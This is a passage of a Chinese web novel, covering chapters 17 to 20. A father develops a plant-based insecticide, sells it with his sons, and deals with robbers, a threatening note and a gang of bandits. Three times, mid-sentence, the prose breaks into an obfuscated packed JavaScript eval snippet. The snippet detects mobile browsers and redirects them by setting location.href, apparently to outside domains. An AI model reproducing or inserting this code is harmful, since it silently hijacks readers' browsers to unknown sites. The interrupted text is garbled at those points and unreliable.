宋显没想到徐英这么信任自己,讪笑道:“只是有可能,行不行还要试过才知道。” “宋叔一定行的,宋叔是救白姐姐和宋大哥的大英雄,肯定能做到!” 徐英眨巴着闪闪发亮的眼睛,从怀里一块玉色的石头递给宋显。 “这是祖父给我求的幸运石,我每次遇到麻烦,它都能给我带来幸运。送给宋叔,希望宋叔能很快就研究出除虫的办法,帮助我们村里所有人。” “东西就不收了,你这份心意收到了,便会带来好运。” 宋显拿了苗子后,就用半寸长的旺盛期地狱藤做实验。 先煮了一陶罐的水,用以杀虫,效果很好。 之后水量加倍,继续试,依旧有杀虫效果。 再加倍再试,如此往复,宋显终于测算出来一个临界量。那就是半寸地狱藤,搭配十桶水,用最细的喷壶喷洒,依旧会达到很好的杀虫效果。 最后经过多次尝试后发现,地狱藤取半寸,沸水煮一炷香时间,不管初始时水量多少,最终兑成十桶水的量,杀虫效果都相同。 这种稀释方式简直跟农药一样,太方便了。 宋显接下来就搞来了十几只老鼠做实验。 喷洒过不同浓度的除虫水禾苗,在经过一夜吸收后,拿来喂给老鼠,是否会产生毒性。 结果是喜人的,八倍浓度的除虫水,依旧是是天选杀虫剂,纯植物农药,对小鼠无害,对人体应该也无害。 不过为了保险起见,可以嘱咐农户在喷洒药物后等一段时间再食用农作物。 当晚,宋显就把他的研究结果告诉了三个儿子,高兴地表示他们可以通过这种方式赚钱。 “农户们手头上的钱都不多,我们意思一下收一点就行了,或者让他们拿我们需要的东西抵也行。 钱不在多,够用就好。乱世财多,咱们孤儿寡父的也守不住,对吧?” 宋寒承、宋陆远、宋济民:“……” 仨孩子同时无语了,但是各有各的无语,各有各的想法。 宋济民心中想:“爹在说什么?这么零本万利的生意,居然就挣这点小钱? 小小半寸地狱藤,就能配出十桶水来,把这十桶水分装到小瓷瓶里,一定要又小又精致的瓶子,然后拿去卖给那些养名贵花草的官贵人家,或仇家多怕被人蛊虫报复的武林人,眨眼就能得到金山银山了。” 宋陆远心中想:“乱世财多,我守得住啊!” 宋寒承心中想:“爹开心就好。” “啊,我这想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232590|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法不好吗?” 宋显发现仨儿子都沉默没吭声,委婉地询问他们的意见。 “很好,还是爹爹想得周全。”宋寒承温和笑着,“明日我就帮爹爹料理此事,咱们务必低调,不惹人注目。” 宋显连连点头,有这样体贴的大儿子,做父亲的果然很舒心呀。 “爹爹,我明天想跟李二郎他们去县城的书坊,行吗?” 宋济民可不想参与这种小成本生意,他要利用除虫水赚金山银山。 “太行了,多接触书本,多学习知识,对你有好处。”宋显把家里最后剩下的二十文钱给了宋济民,“喜欢什么书本就记下来,爹马上就有钱了,都给你买回来。” 宋济民天真无邪地笑:“好!” 宋陆远挠了挠头,“我明儿要去码头干活,也帮不了忙了。” 红袖楼歇业了,机会难得。 他约了江湖第一刀沈得云一起去探红袖楼,比谁能找到更贵的宝贝带出来。 这次他决不能输,输了他就—— 三个月不见沈得云,免得见了他就想自己输了他的事生气。 宋显觉得老二在码头干力气活儿,最辛苦了。 趁着宋寒承和宋济民不注意的时候,他偷偷塞了几块莓果糖给宋陆远。 “嘘,只试做了这几块,就先给你了。你在码头出力多,觉得头晕没力气的时候就含一块。” 宋陆远被单独关照,吃了小灶,开心得不得了。他龇着大牙,嘿嘿笑着,傻乐着不停,以至于宋寒承和宋济民刚进门就发现他不对劲儿了。 “爹给你什么东西了?” 宋陆远立刻按住胸口,摇头否认:“没有!” “拿来吧你!”宋济民扑上去就抢,“咱们三兄弟说好了,有难不同享,有福要均分。” …… 次日,吃完早饭,宋显带着宋寒承先去了陈昌贵家。 宋显打算先解决陈昌贵家田里的虫,然后让陈昌贵用牛车的十天使用权来抵除虫费。 可到了陈昌贵家后,宋显发现陈昌贵卧床不起,整个人很虚脱,嘴唇发白,像是受了很严重的伤。 “村长这是怎么了?” 陈昌贵看都不敢看宋寒承,孱弱地讪道:“唉老了,做木匠活儿的时候手抖,不小心把自己的肚子砍了一下。” “那你这手抖得太厉害了,以后少干活或小心些。” 宋显犹豫着是否该说此行的目的,宋寒承倒是直言不讳,陈昌贵马上就同意了。 父子二人随即就赶牛车,载上几十陶罐的除虫水,挨家挨户地售卖。 卖完了,他们就回家继续装水,换个村子继续卖。 田里的虫害几乎家家户户都有,除虫水喷洒之后立马见效,所以很畅销。 一小天的工夫,他们赚的钱就装满了两陶罐,另外还有村民允诺用木材、石板、铁器等实用之物来抵,正好免了他们另外花钱去买这些东西了。 黄昏后,父子二人赶着牛车回去的时候,宋显抱着装满钱的陶罐子,美滋滋地算账,丝毫没察觉到牛车后早有人在跟踪。 周小耳对周大耳道:“大哥,我盯了小半天了,这俩人今天靠卖除虫水挣了老多钱了。” “成,咱们抢了钱,问清楚除虫水的来路,就把人杀了!” 俩兄弟分别从地上找了两块锋利的石头,各自拿在手上,就准备对牛车动手。 “哎呦,两位哥哥,你们撞到我了!” 一抹倩影忽然扑到了牛车前,姿态妖娆得侧躺在黄土道上,一手托着下巴,一手伸了出去,对宋寒承和宋显抛媚眼。 “两位哥哥,快来救我呀!” 这人不正常得太明显了。 宋显微微睁大眼睛,试探问:“阁下有疾在脑?” 倩影猛地站起身,骂出粗犷的男声:“你才有病,你全家都有病!” 18.第 18 章 “倩影”算是古代版虾系男孩了,身材比例很好,瘦而不柴,略敞开的衣襟下是若隐若现的腹肌,但头大脸方嘴唇厚,去头可看。 他一个男人,为何大白天突然横在路上,做出的姿态比女子还妖娆? 如果不是脑子里有点小毛病,那就是有大毛病了。 “你这样攻击别人,真的不会让你的病好起来。”宋显已经警惕地从袖袋里拿了白皮树花粉和树皮。 乱世出门在外,没点子防身的东西在身上,哪敢随便赚钱。 “我这是在帮你们!”谢之州气得跳脚,指着牛车后头那俩劫匪。 宋显和宋寒承回头看去。 躲在草丛中的周小耳和周大耳,突然被点名,吓得一哆嗦,把周围的杂草碰得乱晃。 他们干脆不躲了,每人一手拿着锋利的石头,一手拿着棒子,气势汹汹地现身。 “既然都看见了,我劝你们老实点,痛快把钱交出来!” 宋显端详二人:“你们俩看起来也不正常,有疾在脑。” 宋寒承噗嗤笑出来声,他不发表意见,惫懒地坐在牛车上看热闹。 “你们就两人,凭什么以为我们三对二打不过你?”宋显亮出车上的柴刀和菜刀,“我们的武器还比你们的锋利。” 周小耳震惊地对周大耳道:“大哥,他讲的好有道理啊,那我们跑?” 周大耳立刻拉着周小耳撒丫子跑了,身影很快就消失在路尽头。 “就这?”谢之州收起手上的铁扇,遗憾自己没能暴揍劫匪,锄强扶弱。 宋寒承赶着牛车继续走,牛车晃悠悠地从谢之州身边驶过。 “喂,你们还没谢谢我呢?” “你们知道我是谁吗?长水县新任县令,谢之州是也。” “没错,就是那个江湖上鼎鼎有名的铁扇公子谢之州。” “今天我新官上任,微服巡察民情,就碰见了你们。” “你们这除虫水妙用极大,若大肆推广,可改善民生,不知二位可有兴趣到我门下,做我门客?” 谢之州碎碎念念许多,一直快步追着牛车,跟他们说话。最后嫌麻烦,他干脆爬上了牛车,跟父子俩坐着一起聊了。 “或者你们把除虫水的方子卖给我,我愿出千金购买。” “对了,你们父子俩为什么要蒙面啊?难不成是逃犯?” “为什么你们一句话不回我,再这样我可就要动手了——” 话音未落,谢之州的眼睛突然放空,一头栽倒在牛车上。 宋寒承轻轻一脚,就将谢之州踹下了牛车。 巧了,谢之州落地的躺姿也很妖娆,天意果然不负他的初心。 宋寒承向宋显解释:“我一直忍着呢,直到他先说动手,我才动手。” 宋显吐掉了嘴里的树皮,夸赞宋寒承:“踹得好!幸亏咱们蒙了面,他认不出来。快走快走,别跟这种人沾边。” 首先,这人瞧着就精神不正常。 其次,这人既混官府又混江湖,那不就是二混子吗?成分复杂,跟这种人沾边,最容易招惹是非。 宋显只想保护好几个孩子,平平安安的生活,不希望他们生活中有太多意外风险存在。 “那我要奖励,想吃甜的。”宋寒承还惦记着昨晚吃到的莓果糖。 以前他们兄弟在野外生存,要很费力才能淘到一些甜的东西吃。 比如糖豆,就是豆桂草的果实,很甜,可惜带了股药味儿,没有阿爹的糖甜得纯粹,带着独特的果香味儿。 “好。” 宋显特别开心,大儿子主动开口跟他要吃的了。 这可是一个里程碑式的标志!代表了什么?代表了他大儿子不跟他见外了,真开始把他当爹一样看待了。 以前大儿子对他确实有礼貌,但太客气,太疏离,他们之间前更像同事而不是父子关系。正常的父子关系就要像现在这样,不客气地要要要,那才是不见外的一家人。 今天的晚饭是白歌准备的,馒头野菜汤,味道很不错,得到大家一致夸赞。 白歌挠头,心虚地笑:“比不了宋叔的手艺,我更喜欢宋叔做的饭。” “那是,跟阿爹你确实比不了,但味道真可以,看不出来你做饭还挺好吃。”宋陆远实话实说,当即被宋济民推搡了一下。 白歌忙摆手表示不介意,她非常赞同宋陆远的话。 宋寒承扫一眼白歌的鞋底,上面沾着白云土,这种土产自景州,在永州郡内只有红袖楼里有。 今天挺有趣的,家里有两个人的脚底沾着这种白云土。另一人是宋陆远,不用想就知,他肯定又跟人打赌去红袖楼偷东西了。 “我去数钱,你们谁跟我一起?”宋显把装满钱的陶罐搬出来,笑着询问孩子们。 四个孩子都沉默了,没人应答。 宋济民当然看不上这些小钱,不愿数。 宋陆远大手粗指的,也不愿做数小铜钱这种精细活儿。 白歌倒是想去,被宋寒承的眼神定住了,不敢答应。 “阿爹掌家,钱要阿爹一人管才清楚,我们就没必要掺和了。” 宋寒承笑着目送宋显进屋后,就冷下脸来,叫走了宋陆远和白歌。 宋济民幸灾乐祸地耸肩:“惨喽,两个都要挨训喽,还是我乖。” 屋内。 宋显高兴地把一罐钱倒进簸萁里,忽然发现里面夹了一块布条。 本以为是谁家碎布不小心带进去了,宋显拿来一瞧,上面竟然潦草地写了很多字。 “五日内交出除虫水配方,否则你仨儿子会像黄家孩子一样消失。” 宋显将这句话读了两遍,确定写布条的人肯定知道他是谁,不然不会清楚他有三个孩子。 除了三户村,他今天去别的村子都蒙了面,牛车也是借的,能认出他的人不多,除非特别熟悉他的人。 “爹?钱数完没有?”宋济民蹦跳着进来。 宋显马上把布条藏起来,笑问宋济民:“你知道消失的黄家孩子么?” 宋济民愣了下,“爹怎么突然问这个?” “今天偶然听别的村民提起,讳莫如深的样子,有点好奇。” “是上个月的事儿,闹得很大,芦花村黄三老家的五个孩子一夜之间全失踪了,到现在还没找到。” 黄三老的“三老”是官名,全称叫乡三老,专管乡内教化之责。 乡三老这个官职在本地不算低了,一般人不敢得罪,这样人家的五个孩子居然都出了意外。 “具体情况你了解吗?” 宋济民摇头,“我只听说,他家五个孩子睡觉前还在,第二天天亮后,孩子就都不见了。黄三老一家子找人找疯了,甚至请了郡守出面帮忙,派出寻找的人手不下万数,依旧是一点线索都没有。” “这么诡异。” 宋显出屋就拿了镐头,打算在山谷的入口处设置几个陷阱。 宋寒承警告过白歌和宋陆远不要再去红袖楼打草惊蛇后,就踱步到宋显挖的土坑旁。 “爹这是?” “干点防御工事。” 宋寒承笑了,“今天遇到劫匪,吓着了?” 在对上宋显眼睛那一刻,宋寒承感受到了宋显眼底异常的担忧。今日对劫匪时,他可没有这样的情绪。 宋寒承马上意识到自己误会了,宋显并不是因为谢之州和劫匪的事儿搞这出,他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240711|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有别的事在瞒着他们。 “出什么事了?” 宋显犹豫不知该不该跟宋寒承说,他不想孩子们为此担心,但也不想他们一点警惕心都没有。 “放心,跟我说没事。”宋寒承一眼就看穿宋显在担心什么。 宋显老实地将布条递给宋寒承。 宋寒承借着火光,大略扫过布条上的内容,轻笑出了声。 “小孩子吓人的把戏罢了,不必当真。” 话毕,宋寒承就将布条攥在了手里,要宋显回去睡觉。 “别因这种小事耽误了明天熬糖的‘工事’,那才是正经。” 天大的事儿都没有他吃糖的事儿大。 阻碍他吃糖的事儿,都是天大的事儿,最好别叫他揪住。 “诶?真的是小孩子的把戏?”宋显深表怀疑,村里的小孩子哪里会认识这么多字。 宋寒承语气受伤:“阿爹不信我?” “信信信!”当初他刚醒来的时候,大儿子都选择无条件相信他,他现在当然也要无条件地选择相信大儿子。 宋显扔了镐头,听话地去睡觉。 第二天,宋显就去砍竹蔗,打算先把糖熬出来。 竹蔗长在山北断崖下的荒坡上,不属于古树林地界。在坡上成片密密麻麻地生长,百姓们都以为这是干硬的竹子,不能吃,所以没人去砍,实际上竹蔗属于野生甘蔗的一种。 宋显挑粗的砍,扎了两捆堆在外面,准备攒十捆再运走。当他砍好第三捆扔出来的时候,宋显惊讶发现堆放的两捆竹蔗没了,地上写了两行字。 “交出除虫水配方,否则三子消失如两捆竹。今日不交,便先给你二儿子一个教训。” …… 宋陆远今天按照宋寒承给的地址,赶牛车去各村子,将农户们昨日许诺下的木材、石板运回来。 宋寒承早就提醒过宋陆远了,可能会有尾巴。 宋陆远运货出村后没多久,果然就在半路上碰见了拦路抢劫的周大耳和周小耳。 他二话不说,一人一脚给他们踢飞了。 下一个路口转角,宋陆远又遇到了遇到铁扇公子谢之州。 谢之州认出了牛车:“说!你与昨天那两个卖除虫水的人,是不是一伙的?” 宋陆远开心疯了,他早就想会一会这位铁扇公子的铁扇功了,倒要看看这铁扇在招式上能耍出多少新花样。 宋陆远掏出他的地狱藤大宝剑,飞身一跃,就朝谢之州那长相最不和谐的大方脑袋砍去。 谢之州“嗷”地叫一声,忙以铁扇遮挡。 咔—— 很清脆的一声裂响。 谢之州震惊了,眼睛瞪得溜圆,他没看错吧?他的铁扇居然被一把木剑给劈开了!? 谢之州被震得后退两步后,猛掐自己大腿一下。 娘啊,好疼!这不是在做梦,真是木剑轻松劈开了他特制的铁扇。 “你、你手上这是什么东西?” “别停,继续!” 宋陆远还没打够瘾,挥舞着木剑,上下左右出击,木剑残影乱飞,眼花缭乱。 谢之州吃力地用铁扇抵挡,最终的结果是,他最宝贝的铁扇被木剑削成了满天飞的铁片。 “我的铁扇,你你你……太过分了!”谢之州痛心疾首,妖娆地躺在地上耍赖,“杀了我吧,我没脸回家再见村东父老。” “嘿,我家不住村里,独一户!”宋陆远挺起胸膛,语气里充满炫耀,“就算丢人,最多在我爹跟前丢一丢,但他肯定不会笑话我。兄弟,你身世真惨!罢了,饶你一命。” 谢之州气红了眼,猛然弹跳起来:“士可杀不可辱,我今日与你决一死战!” 19.第 19 章 谢之州热血沸腾,浑身燃烧着复仇的烈火,他要为尊严和荣誉而战! 谢之州使出吃奶的劲儿,全力一击,爆发用出他的杀手锏三绝招:多情扇、友情扇和无情扇。 然而,他没有扇! 他的铁扇刚刚被宋陆远打成铁片子满天飞了。 结局显而易见,谢之州再次被宋陆远打趴下了。 这一次他还是头朝下倒地,厚嘴唇子跟黄土地来了一次亲密接触。 痛,太痛了,输得太彻底了! 混江湖好难,一个运木材的普通村民居然就能把他打败。 谢之州噘起沾满泥土的厚嘴唇,开始咆哮式哭泣:“我不混江湖了,县令我也不做了,啊啊啊……” 他本想文武双修,声名远播,如今却只落得“铁在天上飞,人在地上趴”的狼狈结局。 “县令——”宋陆远忽然来了兴趣,亮出他的木剑,“你想不想也要一把我这样的剑?” 谢之州立刻止了哭声,两眼放光:“想!” 这木剑能破他铁扇,比武林兵器榜上的神兵利器还厉害。 宋陆远下巴微抬,墨发飞扬,有着少年人的意气风发。 “那就当我跟班,听我的话。” 谢之州纠结了很久,但目光一直没开过宋陆远手执的那把木剑,他太馋了! “好,我答应你!但提前说清楚,我不做不仁不信、违背道义之事。” “没问题,我也不做。” …… 宋显将竹蔗削皮切成小块,放在石碾上,通过人力转动石碾,来碾碎竹蔗榨汁。 转了几圈后,他就感觉自己今天体力消耗太大了,完全没力气继续干下去了。 他瘫坐在竹椅上休息一会儿后,洗了把脸,换掉身上被汗水浸透的衣裳,拿上钱袋,就去三户村看看。 进了村,宋显发现周围诡异的安静,一个人影都没有。 这不正常,平常村里总能看到一些人。 “都给老实点,站好!” “娘呜呜,我怕!” “别怕孩子。” …… “都闭嘴!谁再出声,老子就砍了谁!” 在村中央的谷仓前,三户村所有男女老少都被聚集在了一起。 在十几把大刀的胁迫下,村民们吓得不敢抬头。 沙前埕举着白晃晃的大刀,质问陈昌贵:“你们村一共就这些人吗?” 陈昌贵忍着腹部的伤痛,点头哈腰赔笑:“村里一共就有三十二口人,您数数,一个不少。” 沙前埕大气地怀里掏出两根金灿灿的金条,霎时间就让村民们看直了眼。 “你们别怕,我和兄弟们不是坏人。我们江湖人最讲道义,今日前来叨扰只是为了找人。 谁要是能帮我们找到我刘大哥,这两根金条我必恭敬奉上。我沙前埕以向上人头担保,绝不食言。” 沙前埕说完就举起刘达的画像,问村民们有没有人见过他。 村民们都缩着脖子摇头,表示没见过。 沙前埕立刻收起脸上的笑,目光阴狠:“这就奇怪了,我这一路打听下来,大家都说,我刘大哥那天带着几名属下,牵着两条狗,就朝着你们三户村的方向来。” “你们这些村民怎么可能一个人都没见过他?” 沙前埕吐了一口口水在刀上,用袖子擦了擦,似乎把刀刃擦得更锋利了。 村民们吓得都往后缩了缩。 “跟他们废话干什么,杀一个就老实了。”刀条脸汉子一把揪住李大郎,就要给他脖子来一刀。 李春花急了,忙拉住自己大儿子的衣袖,哭喊着不行。 “臭娘们,找死——” “诸位英雄好汉,真不是我们不愿意说,是我们真没见过啊。” 陈昌贵连忙作揖,恳求好汉们饶命。 “这种事儿也没什么好瞒的,哪怕为了这两块金子,我们也想说啊。” “少废话,老子今天在这得不到消息,高低要杀一个人泄愤。”沙前埕说完,也扯来一个孩子准备下手。 “娘,救我!”方小圆哭喊。 “大哥,那还有一个人!”刀条脸眼尖地发现走过来的宋显。 宋显乍然撞见这场面,站立原地。 沙前埕眼里的杀意更浓,“不是说村里人都聚齐了吗,这怎么还有一个。” “他不是我们村里人。” 陈昌贵说话的同时,村民们都跟着点头附和。 “你住哪儿?”沙前埕将刀对准宋显。 宋显指了指前边,“那边,今天来这是想买一头毛驴。” 不等沙前埕出声,宋显的目光就落在他手里的金条上,“你们要找什么人,我看看我见过没有?” 沙前埕瞧他那贪财的样儿,忍不住嗤笑,将刘达的画像丢给宋显。 宋显认真端详一番后,遗憾摇头,“没见过。” “是啊,人真的没来过这边,我们都没见过。”村民中有人附和。 “闭嘴!”沙前埕很不耐烦,将刀抵在宋显的脖颈处,“我们说过,没线索就要杀一个人泄愤,那就你吧。” “你不能杀我。”宋显示意沙前埕到一旁说话。 沙前埕见宋显淡定从容的模样,觉得他可能有点什么身份。江湖人出门在外,最重要的一点就是不能杀错人,就暂且先耐着性子听他说什么。 “李信之,知道吗?” 沙前埕心里咯噔一下,“你是谁?你怎么会知道他?” “信之是我朋友,他为了找刘达失踪了。我怀疑八村之中有暗势力隐藏,故而才蛰伏在这附近寻找线索。” 李信之确实是因为寻找刘达失踪了,这内情外人并不知道。红袖楼李老板为此发了好一顿火,不仅花重金寻人,动用了官府的势力,还通知了他们这些与刘达曾交好的江湖兄弟。 多方合作的目的,就是为了找到刘达与李信之的踪迹。然而数日过去了,他们一点线索都没有。 所以,沙前埕基本上相信宋显的说法。明的不行来暗的,好像确实挺有道理。 这暗势力的说法也很可信,否则江湖排名前二十的刘达,还有李信之那样身份的人,不可能在一夜之间都消失得无影无踪。 “你今日这般,打草惊蛇了。”宋显皱眉,“若我告诉信之的姑母,你肯定吃不了兜着走。” 李信之的姑母是红袖楼的老板,这情况普通人也不知情! 沙前埕这下完全确定,宋显身份不简单了。 沙前埕立刻吓得腿发抖了,今日以这种方式寻人,确实是他擅作主张。 红袖楼李老板,谁不知她手段狠?这要是让她知道自己耽误了她的事儿,不管有理没理,他和她兄弟们肯定都没好下场。 “兄弟,我求你,千万别说出去,也千万千万别告诉李老板我们来过这里,我们现在马上就撤!” 沙前埕对宋显恭敬作揖,连连道歉。 宋显点了下头,“这次看在刘达的面子上算了,但只此一次,下不为例。” 沙前埕再度对宋显道谢,挥手就招呼兄弟们赶紧走。 刀条脸很是质疑宋显的身份:“大哥,你还不知他是谁,就信他的话?如果他只是知道点内情,在故意骗你呢?” “有道理。”沙前埕突然停住脚步,让刀条脸他们先在原地等着。 沙前埕跑回去的时候,村民们都已经散了,宋显蹲在谷仓边,盯着贴墙长的一株爬藤发呆。 【价值说明】:伏诛笼,凶植克星,每三尺一株,圈地凶植,可令凶植无法对外作恶。 “那个——” 宋显听到沙前埕的声音,立刻起身,衣袍不巧被谷仓木头上的毛刺钩住了,“刺啦”一声侧腰处的布料撕开了,有一块东西掉了出来。 沙前埕在看到这东西的那一刻脸色骤变,原本存疑的表情立刻转变成了对宋显的畏惧和尊敬。 “还有事?”宋显佯装淡定询问沙前埕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15246071|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实他掌心里已经抓了一包白皮树花粉,准备随时出手。 “啊,没事没事。”沙前埕磕磕巴巴地应承,“沙某想再一次表达感谢!” 沙前埕对宋显恭敬地行了一礼后,麻溜地就跑了。 宋显觉得有点莫名其妙,但也懒得计较了。 宋显看了眼衣裳刮出来的口子,不太好补的样子,尤其这衣裳料子还是丝绸。 方才他出汗换衣服,这套放在最上面,他就顺手拿来穿了。早知道不那么着急,选麻布的那件穿了。 宋显捡起刚才掉落的小东西,椭圆形,乳白色,拇指大,中间有孔洞,侧边有一排三个小圆洞。 这是什么东西? 陈昌贵带着方小圆,牵了一头驴过来了。 “你看这头驴怎么样?” 毛驴体态矫健,双目有神,一看就知道是头很能干的好毛驴。 宋显很满意:“挺好的,多少钱?” “哎,刚才多亏了你帮忙,才救了小圆一命,这毛驴哪儿能还收你的钱呢,当谢救命之恩送你了!” 陈昌贵说这话的时候,方小圆低着头,明显有几分不情愿。 “刚才就随口说两句话,不算帮忙。我只想买驴,说个数吧。” 陈昌贵试探问:“那就一千文?少点也没关系,对吧,小圆?” 方小圆耷拉着脑袋点点头。 “我看这孩子不是很想卖毛驴,村长是不是逼他了?没必要哈,买卖自愿,我在哪儿买都一样。”宋显可不想买一头毛驴还得个人。 “谁说的,我想卖!”方小圆突然抬头,瞪了一眼宋显,“就一千文,驴都牵都来了!” “你这孩子,能不能好好说话?”陈昌贵拍了方小圆脑袋一下。 “那行,这三千文你收着,市价。”宋显见将钱袋塞到方小圆手里,问他,“你不喜欢我?是我从前欺负过你吗?” “没有!”方小圆又瞪一眼宋显,随即就拿着钱跑了。 陈昌贵要拦他,被他推了一个踉跄。 “这孩子!” “小孩子嘛,都有闹脾气的时候。不过村长你这身子可得好好养一养,原本挺壮实的,现在差点被一个孩子推倒了。” “哎。”陈昌贵也怀疑自己可能血亏,得好好补补。 宋显想起布条的事儿,问陈昌贵:“村里可有识字又力气大的人,平常不怎么在家,喜欢往山里跑?” 陈昌贵想了想,摇头:“李大郎读书最好,他人不错,教着村里的孩子们都识字了,反而有不少大人是睁眼瞎。 大家最近都忙着田里除虫的事儿,村里就剩下几个半大的孩子乱跑,哪有什么人上山呀。” “好,我知道了。” 宋显问陈昌贵借了一个大陶盆,将谷仓旁的那株伏诛笼移栽到了盆中。 这次他可是仔细记住了伏诛笼的生长环境,移栽应该会成功。 这伏诛笼可有大用处,它可以像大牢关人一样,圈住凶植。比如地狱藤,就是凶植的一种。 之前宋显还发愁,地狱藤旺盛期的藤条杀虫虽然好用,但资源有限,没办法全国推广,不能惠及天下所有的穷苦百姓。 但如果有了伏诛笼作为安全保障,他倒是可以尝试扦插繁殖地狱藤苗。 地狱藤一旦成活,给他喂食鲜肉,就可以迅速生长,那从此以后就有取之不完、用之不竭的除虫水了。 晚饭宋显包了韭菜鸡蛋馅饺子,宋寒承、宋济民与白歌都坐在饭桌上了,还不见宋陆远回来。 宋济民觉得不对劲儿:“照理说二哥去运石材,应该早就回来了。” “可能跟那个留言有关。” 宋显把他砍甘蔗的时候,又看到留言的事儿告知了大家。 白歌惊讶又生气:“到底是什么人敢留言威胁宋叔?宋二哥不会真的失踪了吧?” 宋寒承正要开口,宋显先一步说话了。 “我知道是什么人干的,我现在就去找他。” 20.第 20 章 宋寒承跟宋显一块去,白歌和宋济民也想凑热闹。 宋寒承:“你俩留下来看家。” 宋济民不理解:“家有什么好看的?” 宋显笑着捏了捏宋济民肉嘟嘟的小脸蛋,“爹赚的两罐子钱就靠你守着了。” 连金库都不守的宋济民:“……” “好吧,那爹爹和大哥早点把二哥带回来!”不带回来也行,家里少个跟他抢食吃的饭桶也挺好。 宋济民乖乖眨眼,笑得天真烂漫。 “我们民民最乖啦。”宋显神秘兮兮地凑到宋济民耳边,“橱柜陶罐里有给你的特别奖励。” “真的?”一猜就是好吃的!宋济民高兴地跑去找。 去三户村的路上,宋显将一包糖递给宋寒承。 “里面有四种口味,莓果的,桂花的,薄荷的,梨味的。” “阿爹给三弟留的也是这些?”宋寒承想知道自己是否是特别的那个,不是也没关系,但想知道。 宋显立刻摆摆手:“没有哦,他可没有这些。” 宋济民还小,正是换牙的关键时期,不能吃太多糖。宋显给宋济民准备的是甜菊糖,用甜菊叶熬制而成,也挺甜的,口感上肯定比不了竹蔗糖味道好,但对牙齿伤害小。 “给你的这些糖千万千万不能被老三发现了。” 宋显怕宋济民尝过好吃的糖,就不愿意再吃甜菊糖了。 宋寒承微微勾起嘴角,心情很是愉悦地“嗯”了一声。 到了三户村后,宋显就带着宋寒承直奔方小圆家。 “阿爹为何认定是他?”宋寒承想知道宋显从哪些方面推理总结而出。 “知道我卖除虫水,还知道我有三个儿子的,多半是三户村的人。识字,力气大能抗动两捆甘蔗,最近总往山上跑,三户村里符合这些条件的人就只有方小圆。” 三户村的大人们最近都忙着下田除虫,只有孩子们留在村子里乱跑。而且大人们识字的不多,反而是孩子们在李大郎的教导下都识字。 陈村长虽然受伤了,但身体其实很壮实。方小圆随便撞他一下,就把他撞得踉跄,可见他力气很大。 “还有最重要的一点就是,你那晚看过布条后,似乎一眼就认出是谁了。你跟我说是小孩子吓人的把戏,所以我就更加确定是方小圆了。” 宋寒承赞许地点点头,宋显是他见过的人中最擅长观察推理的。 方家坐落在三户村村西最末一户,地角偏僻,跟其他家都有一段距离。院子边上的五棵大梨树,枝桠茂密,天黑后,从远处根本看不清院内的情况。 宋显和宋寒承靠近院子的时候,听到里面传出孩子的笑声。 宋寒承:“方家只有两个孩子,方大山和方小圆。方大山刚死,方家父母去县城做生意还没回来,家中只剩下方小圆一人。” “看来他还挺会自娱自乐的。”宋显随口感慨一句。 大门闩上了,宋显就垫脚,扒着墙头往里看。今日月色好,院里布置依稀能辨清。 宋显指了指房子旁边的稻草堆,“牛车在那里。” 他脚踩着墙上凸起的石头,就要翻过墙头,没想墙面的青苔湿滑,一脚滑空,整个人呈半劈叉的姿势后跌。 宋显还没来得及叫痛,就被一个强有力的手掌托住了后腰,随后这股力道将他稳稳地推坐在了墙头之上。 宋显惊魂未定地松了口气,想伸手把宋寒承也拉上墙头。 宋寒承却已经爬上墙头,直接跳进院子里了。 宋显讪讪缩回半伸出去的手,也跟着跳进院里。 院内一间正房,两间耳房,东边耳房边上是草垛,刚好堵住了耳房与院墙之间的空隙。 宋寒承细瞅了这草垛,看不出有掩藏牛车的痕迹。他不懂宋显怎么瞧一眼就知道牛车藏在里面。 “因为有地狱藤的味道啊,你闻不到吗?” 宋寒承摇头,他还真没闻到。不过在味觉和嗅觉上,他好像确实没有宋显敏锐。 宋显能尝出粟米粥快坏了的味道,甜莓果子中淡淡的涩味,他完全尝不出来。 宋寒承扒开稻草,果然看到了牛车的一角。 耳房亮着灯,内挂的竹席将窗户遮掩的很严实,看不到里面的情况,这时又有一阵孩子的笑声传出,声音较之前的声音清脆很多。 牛车的证据已经抓到了,宋显觉得没必要偷偷摸摸了,他猛地推门,要来一个突然袭击。 门没推开,从里面闩上了。 推门的动静很响,屋里孩子的笑声瞬间停止了。 “方小圆,开门!” 宋显敲了好几下,门还是没开,只听见里面隐约传出哗啦的响声。 “方小圆,你有能耐偷牛车,你有能耐开门啊!快开门!”宋显接连拍门催促着。 宋寒承在旁看着,总觉得此刻敲门的宋显好像有点兴奋? 